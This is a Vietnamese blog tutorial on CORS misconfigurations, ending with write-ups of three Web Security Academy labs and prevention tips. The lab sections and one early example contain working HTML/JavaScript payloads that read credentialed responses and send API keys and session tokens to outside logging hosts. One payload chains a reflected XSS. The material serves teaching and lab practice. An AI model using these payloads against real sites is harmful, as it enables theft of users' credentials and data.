Cross-origin resource sharing (CORS attack) toàn tập

“Mọi kiến thức trong bài viết chỉ phục vụ mục đích giáo dục và an toàn thông tin.
Không được sử dụng để tấn công hệ thống mà bạn không sở hữu hoặc không được phép kiểm thử.”

I. GIỚI THIỆU

CORS (Cross-Origin Resource Sharing) là một cơ chế bảo mật trong các trình duyệt web, cho phép kiểm soát cách tài nguyên của một trang web có thể được yêu cầu từ một website khác (cross-origin).

CORS được sử dụng khi:

  • Một website muốn tải tài nguyên từ một nguồn bên ngoài (ví dụ: tải dữ liệu từ một API trên server khác).
  • Website muốn hạn chế truy cập tài nguyên từ các miền khác nhau để bảo vệ dữ liệu và an ninh.

->Mục tiêu chính của CORS là bảo vệ các trang web khỏi các yêu cầu không mong muốn từ các web khác có hành vi xấu (lấy trộm dữ liệu, hacking, lạm dụng…). Nó đảm bảo rằng chỉ các website xác định mới có thể truy cập tài nguyên trên server của ta.

II. CÁC THÀNH PHẦN CỦA CORS VÀ CÁCH HOẠT ĐỘNG

CORS hoạt động như thế nào? Một trang web gửi yêu cầu tài nguyên từ một nguồn khác (cross-origin) — chẳng hạn từ một API, server sẽ quyết định có cho phép truy cập tài nguyên từ nguồn gốc đó hay không bằng cách kiểm tra CORS headers.

Ví dụ:

GET /api/data HTTP/1.1
Origin: http://example.com

Server phản hồi:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://example.com
...

Nếu server không gửi lại respone có kèm trường Access-Control-Allow-Origin với địa chỉ như trên, thì trình duyệt sẽ từ chối yêu cầu gọi chéo này và thông báo lỗi.

-> Do đó website có cấu hình CORS sẽ hạn chế được việc website nào được call tới mình.

Một số thuật ngữ:

  • “Origin” (Nguồn gốc): Trong bối cảnh của CORS, một “origin” được xác định bởi ba thành phần Giao thức (protocol): Ví dụ, http:// hoặc https://, Tên miền (domain): Ví dụ, example.com, Cổng (port): Ví dụ, :80 (HTTP) hoặc :443 (HTTPS) -> Nếu bất kỳ thành phần nào trong ba thành phần này khác nhau, yêu cầu sẽ được coi là “cross-origin”.
  • Access-Control-Allow-Origin: là header Access-Control-Allow-Origin nằm trong gói tin response từ một website tới request bắt nguồn từ một trang web khác và xác định nguồn gốc được phép của request. Trình duyệt web so sánh Access-Control-Allow-Origin với nguồn gốc của trang web gửi request và cho phép truy cập vào response nếu chúng khớp.
  • Access-Control-Allow-Methods: là header (response) chỉ định các phương thức HTTP (GET, POST, PUT, DELETE, …) mà nguồn gốc có thể sử dụng.
  • Access-Control-Allow-Headers: là header (response) xác định các tiêu đề cụ thể mà client có thể gửi trong yêu cầu.
  • Access-Control-Allow-Credentials: là header (response) nếu được đặt thành true, cho phép các yêu cầu bao gồm thông tin xác thực như cookies, authentication headers.

Cách triển khai một CORS đơn giản

Cần xác định đặc tả CORS:

  • Quy định nội dung header được trao đổi giữa web server và trình duyệt bị hạn chế gốc đối với các request yêu cầu tài nguyên web từ bên ngoài domain.
  • Xác định các header cần trả về -> trong đó Access-Control-Allow-Origin quan trọng nhất.

Header Access-Control-Allow-Origin được server trả về website request tài nguyên từ domain khác, với header Origin được trình duyệt thêm vào.

Ví dụ về một đoạn code cấu hình CORS trong Express JS:

const express = require('express');
const app = express();
const port = 3000; // Cổng mà server lắng nghe
 
// Cấu hình CORS
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', '*'); // Cho phép truy cập từ bất kỳ nguồn nào
  res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE'); // Cho phép các phương thức HTTP
  res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization'); // Cho phép các tiêu đề tùy chỉnh
  next();
});
 
// Định nghĩa các tuyến đường
app.get('/api/data', (req, res) => {
  const data = { message: 'Dữ liệu từ nguồn khác' };
  res.json(data);
});
 
// Khởi động server
app.listen(port, () => {
  console.log(`Server đang lắng nghe tại http://localhost:${port}`);
});
 

Ví dụ về cấu hình CORS có whitelist:

const express = require('express');
const app = express();
const port = 3000;

// Danh sách trắng - chấp nhận truy cập từ các tên miền sau
const allowedOrigins = [
  'http://example.com',
  'https://subdomain.example.com',
];

// Middleware CORS với danh sách trắng
const corsMiddleware = (req, res, next) => {
  const origin = req.headers.origin;
  
  if (allowedOrigins.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin);
    res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  }
  
  next();
};

// Áp dụng middleware CORS cho tất cả các yêu cầu
app.use(corsMiddleware);

// Route xử lý API
app.get('/api/data', (req, res) => {
  const data = { message: 'Dữ liệu từ nguồn khác' };
  res.json(data);
});

// Khởi động server
app.listen(port, () => {
  console.log(`Server đang lắng nghe tại http://localhost:${port}`);
});

Ví dụ: Một website có domain gốc là website-a.com tạo ra requests “chéo” như sau:

GET /data HTTP/1.1
Host: website-b.com
Origin : https://website-a.com

Máy chủ sẽ trả về một response như sau:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://website-a.com

->Trình duyệt sẽ cho phép được truy cập vào normal-website.com vì response của chúng là khớp nhau.

Xử lý các request có origin chéo bằng thông tin xác thực

Hành vi mặc định của các request có CORS là các request được chuyển tiếp mà không có thông tin xác thực như cookie và Authorization header.

Tuy nhiên, máy chủ cross-domain cũng cho phép yêu cầu xác thực thông tin trước khi chuyển tiếp bằng cách sử dụng header Access-Control-Allow-Credentials với giá trị true.

Ví dụ: website yêu cầu sử dụng javascript để khai báo rằng nó đang gửi cookie cùng với requests:

GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>

Response cho request này sẽ là:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

Trình duyệt cho phép đọc trang chuyển tiếp vì Access-Control-Allow-Credentials có giá trị true.

Thiết lập CORS bằng ký tự đặc biệt

Theo mặc định, header Access-Control-Allow-Origin cho phép có nhiều domain nguồn hoặc có thể là giá trị null hoặc có thể là *. Tuy nhiên, không có trình duyệt nào hỗ trợ nhiều origin cả.

Header Access-Control-Allow-Origin hỗ trợ các ký tự đại diện. Ví dụ: sử dụng *

Access-Control-Allow-Origin: *

Header như này thì không hợp lệ:

Access-Control-Allow-Origin: https://*.normal-website.com

Chú ý: việc sử dụng ký tự đại diện như vậy bị hạn chế trong CORS vì không thể kết hợp ký tự đặc biệt với cơ chế xác thực (authorizer, cookie hoặc chứng chỉ client). Do đó , response của máy chủ sẽ có dạng:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

-> Tuy nhiên sử dụng * có thể không an toàn, làm lộ nội dung của trang được xác thực trên trang đích.

Kỹ thuật Pre-flight checks

Pre-flight checks là một kỹ thuật quan trọng trong CORS (Cross-Origin Resource Sharing), một cơ chế bảo mật trên web. Khi trình duyệt gửi yêu cầu từ một trang web đến một tài nguyên ở một nguồn khác (cross-origin), nó có thể thực hiện một quá trình gọi là Pre-flight check trước khi gửi yêu cầu chính. -> Đây gọi là Pre-flight checks

Trong Pre-flight checks máy chủ sẽ trả về danh sách method được phép ngoài origin đáng tin cậy và trình duyệt sẽ kiểm tra xem method của request có được phép hay không?

Ví dụ: request pre-check đang tìm cách sử dụng dụng method PUT cùng với header tùy chỉnh cs tên là Special-Request-Header

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

Máy chủ sẽ response như sau:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Response này quy định các method PUT, POST, OPTIONS và header Special-Request-Header là được phép. Máy chủ cross-domain cũng có thể cho phép gửi thông tin xác thực và header Access-Control-Max-Age xác định khung thời gian tối đa để lưu vào bộ nhớ đệm trước khi thực hiện lại pre-check.

III. Lỗ hổng phát sinh từ các vấn đề cấu hình CORS

Nhiều trang web hiện đại sử dụng CORS để cho phép truy cập từ domain này sang domain khác. Vậy liệu có vấn đề bảo mật gì ở đây không???

ACAO header được server tạo ra từ Origin header do user cung cấp

Một số ứng dụng sử dụng một con đường tắt để cho phép truy cập từ bất kỳ domain nào một cách nhanh chóng hiệu quả.

Ví dụ: requests

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

Các header cho thấy người dùng có quyền truy cập từ domain requests và các cross-domain có thể bao gồm cookie của domain trước đó với header Access-Control-Allow-Credentials: true

Vì: website phản ánh origin bất kỳ trong header Access-Control-Allow-Credentials: true

Điều này có nghĩa là bất kỳ domain nào cũng có thể truy cập tài nguyên từ domain dễ bị tấn công

Nếu response chứa các thông tin nhạy cảm như API key hoặc CSRF token, ta có thể truy xuất các thông tin này bằng cách tạo một website giả mạo với javascript như sau:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//malicious-website.com/log?key='+this.responseText;
};

Lỗi phân tích cú pháp Origin header

Một số website áp dụng blacklist để giới hạn origin được phép truy cập.

Khi nhận thấy có request CORS, origin được cung cấp sẽ được so sánh với whitelist. Nếu khớp thì sẽ được phản hồi trong Access-Control-Allow-Origin

Ví dụ: website nhận được request như này:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

Nếu domain này nằm trong whitelist thì response sẽ là:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

Việc triển khai CORS whitelist thường có một số sai lầm:
Ví dụ: một số website cho phép truy cập từ tất cả các sub-domain của họ (bao gồm cả những domain trong tương lai chưa tồn tại).

Một số lại cho phép truy cập từ nhiều domain của các tổ chức khác (bao gồm subdomain)

Quy tắc này thường được triển khai bằng cách so khớp các tiền tố hoặc hậu tối URL hoặc chỉ đơn giản là so sánh cụm từ 😀

Bất kỳ sai sót nào trong quá trình triển khai cũng có thể dẫn tới việc cấp quyền truy cập vào các domain ngoài ý muốn.

Ví dụ: webiste cung cấp quyền truy cập vào tất cả domain chứa chuỗi normal-website.com, attacker có được quyền truy cập bằng cách đăng ký một tên miền khác hackersnormal-website.com, và ngược lại.

Giá trị null được đưa vào whitelist

Như đã nói trước đó, Origin cũng có thể là null.

Trình duyệt có thể gửi giá trị null trong Origin trong nhiều tình huống khác như:

  • Chuyển hướng từ nhiều nguồn
  • request từ dữ liệu tuần tự
  • request sử dụng giao thức file:

Một số website đưa null vào whitelist để hỗ trợ việc phát triển ứng dụng trên local.

Ví dụ: requests

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Trong tình huống này , attacker có thể sử null làm giá trị để bypass whitelist => truy cập cross-domain. Payload cho vấn đề này là sử dụng iframe được sanbox. Việc sử dụng ifram snabox vì nó tạo ra một CORS null.

Khi bạn sử dụng thuộc tính sandbox trong thẻ , bạn đang thiết lập một môi trường cấm một số tùy chọn của trình duyệt trong iframe đó. Trong trường hợp của bạn, thuộc tính sandbox được đặt giá trị “allow-scripts allow-top-navigation allow-forms”. Đây là một số tùy chọn cụ thể được kích hoạt, và chúng có tác dụng như sau:

  • allow-scripts: Cho phép tài liệu trong iframe chạy JavaScript.
  • allow-top-navigation: Cho phép iframe chuyển hướng trình duyệt đến một tài liệu khác (điều này thường bị vô hiệu hóa trong sandbox vì lý do bảo mật).
  • allow-forms: Cho phép tài liệu trong iframe sử dụng các biểu mẫu (form) và gửi dữ liệu.

Khai thác XSS thông quan CORS cấu hình kém

Requests:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Ta cũng có thể truyền một domain chứa lỗ hổng XSS để lợi dụng xss đó để khai thác.

CORS kém làm phá vỡ TLS

Giả sử, ứng dụng web làm rất chặt trong việc sử dụng HTTPS nhưng nó lại đưa một domain phụ sử dụng HTTP thì sẽ có vấn đề bảo mật gì xảy ra?

Ví dụ: requests

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Kẻ tấn công có thể tiến hành một cuộc tấn công như sau:
Kịch bản:

Ứng dụng cho phép request vì đây là origin đã được đưa vào whitelist. Dữ liệu nhạy cảm được yêu cầu sẽ trả về trong phản hồi.

Cuộc tấn công này có hiệu quả ngay cả khi website sử dụng HTTPS, không có endpoint HTTP và tất cả cookie được gắn flags secure.

IV. Các bài lab thực hành với các điểm yếu liên quan tới CORS

Lab1: Lỗ hổng CORS với origin là *

Ta có một ứng dụng web như sau:

Thông tin login: credentials: wiener:peter

  • Mô tả: Lab này có cấu hình CORS không an toàn ở chỗ , nó tin cậy tất cả domain trong origin.
  • Mục đích: lấy được API key của tài khoản khác

Tài khoản wiener có giao diện như sau:

=> Như có thể thấy API key hiển thị ngay trong trang chủ user tại endpoint /my-account?id=wiener. Kiểm tra HTTP History của burp, ta có thể thấy.

Phản hồi Access-Control-Allow-Credential sử dụng trong session cho biết ứng dụng web này hỗ trợ CORS. Thử gửi một Origin bất kỳ từ request.

Có thể thấy domain được phản hồi lại trong header Access-Control-Allow-Origi. Mặc dù là dữ liệu nhạy cảm nhưng ứng dụng không check kỹ, điều gì xảy ra nếu attacker gửi request tới /accountDetails và lấy thông tin nhạy cảm này. Đến đây thì ta có thể nghĩ ngay tới một dạng tấn công. Ta cần một script HTML làm một ứng dụng web giả mạo

<html>
    <head>
        <title>CORS-2</title>
    </head>
    <body>
        <script>
            fetch('https://0a3800720412c33683087f0e00ee00b0.web-security-academy.net/accountDetails', {
                method: 'GET',
                credentials: 'include'
            })
            .then(response => response.text())
            .then(data => {
                location = '//exploit-0a7400220415c32a83697e0101f600df.exploit-server.net/exploit/?data=' + encodeURIComponent(data);
            })
            .catch(error => console.error(error));
        </script>
    </body>
</html>


Tạo một website giả mạo với code html lúc nãy:

Sau đó gửi liên kết website giả mạo cho người dùng khác , trong lab này là admin:

Truy cập access log của website giả mạo ta thấy có request phản hồi về.

Giải mã nó ra ta có được thông tin bí mật của người dùng đã truy cập vào website giả mạo:

Submit API key để hoàn thành lab:

Lab2: Khai thác CORS cho phép sử dụng null

Tương tự ta có một ứng dụng web như này

Vẫn tương tự lab trước:

Trang web này không an toàn vì nó tin tưởng cả CORS null:

Bầy giờ sử dụng payload iframe sanbox tạo một website giả mạo:

<!DOCTYPE html>
<html>
<head>
    <title>CORS-2 Modified</title>
</head>
<body>
    <iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc='
        <script>
            var req = new XMLHttpRequest();
            req.onload = reqListener;
            req.open("GET", "https://0a0d0097031db444817b847e0037001b.web-security-academy.net/accountDetails", true);
            req.withCredentials = true;
            req.send();
            
            function reqListener() {
                location = "https://exploit-0a6700f60389b45581ba839d0181003d.exploit-server.net/log?key=" + encodeURIComponent(this.responseText);
            };
        </script>
    '></iframe>
</body>
</html>


Tiếp tục create một website với tên miền là https://exploit-0a6700f60389b45581ba839d0181003d.exploit-server.net/

Website giả sẽ trông như thế này:

Góc Thắc mắc: Nhìn không khác nhìn Lab1 tại sao Lab2 lại phải dùng iframe sanbox??

Vì: Việc sử dụng ifram snabox vì nó tạo ra một CORS null. Cái mà ta cần để bypass cross-domain. Giờ chèn link website giả vào này.

Check log trả về từ website giả, ta có được thông tin của admin:

URL decode nó ra ta có thông tin bí mật của admin.

/log?key={
  "username": "administrator",
  "email": "",
  "apikey": "h3ndtlHVwmCGJ6e6wM9IYHSBcrBuvgCm",
  "sessions": [
    "SgvFuCQomEXtOYjtoWu3rY3CGno1xz0t"
  ]
}

Lab 3: Khai thác CORS bằng các giao thức không an toàn

Ta lại có một ứng dụng web cơ bản https://0ae4000504ff81fe8191f21500950062.web-security-academy.net/

Ứng dụng web này không an toàn vì nó tin cậy tất cả các domain phụ bất kể giao thức sử dụng là gì.

Mục đích: Vẫn là lấy API key của admin

Tiếp tục login vào tài khoản wiener

Test thử một chút thì ta có thể thấy ứng dụng chỉ tin tượng domain chính và subdomain

Các domain khác thì sẽ phản hồi sai hết

ta xác định được một subdomain được cho phép

Đặc biệt là nó dùng HTTP. Trong sub-domain này lại chứa một lỗ hổng xss trong param productId

Được rồi !!!

Bầy giờ ta tạo một website giả mạo

<!DOCTYPE html>
<html>
<head>
    <title>CORS-3 Modified</title>
</head>
<body>
    <script>
        var req = new XMLHttpRequest();
        req.onload = reqListener;
        req.open('get', 'https://0ae4000504ff81fe8191f21500950062.web-security-academy.net/accountDetails', true);
        req.withCredentials = true;
        req.send();
        
        function reqListener() {
            var data = encodeURIComponent(this.responseText);
            var exploitUrl = 'https://exploit-0ab3008a046581b88157f10501bd0067.exploit-server.net/log?data=' + data;
            var redirectUrl = 'http://stock.0ae4000504ff81fe8191f21500950062.web-security-academy.net//?productId=' + '<script>' + encodeURIComponent(exploitUrl) + '</script>&storeId=1';
            
            document.location = redirectUrl;
        }
    </script>
</body>
</html>


Tiếp theo, tạo website

Khi truy cập vào thì website giả này sẽ tự kích hoạt

Gửi nó thông qua Origin

Đọc log phản hồi về và nhận kết quả

API key của admin

{  "username": "administrator",  "email": "",  "apikey": "nMy1tRUhnwJWOIe5VK9gaqNW5SgIncJV",  "sessions": [    "PSdXVM7OgiYv7nYGk7Xk4Va4iIShFM02"  ]}

IV. Cách ngăn chặn CORS

  • Cấu hình thích hợp: Chỉ định chính xác domain nào được phép và không được phép trong header Access-Control-Allow-Origin
  • Chỉ cho phép các website đáng tin cậy.
  • Không đưa null và whitelist
  • CORS không đại diện cho chính sách bảo mật máy chủ

Chính sách SOP được xác định từ nhiều năm trước để ứng phó với các tương tác giữa các miền độ hại như các web site đánh cắp dữ liệu từ một web site khác.

Published by Nhat Truong

Hi

Leave a comment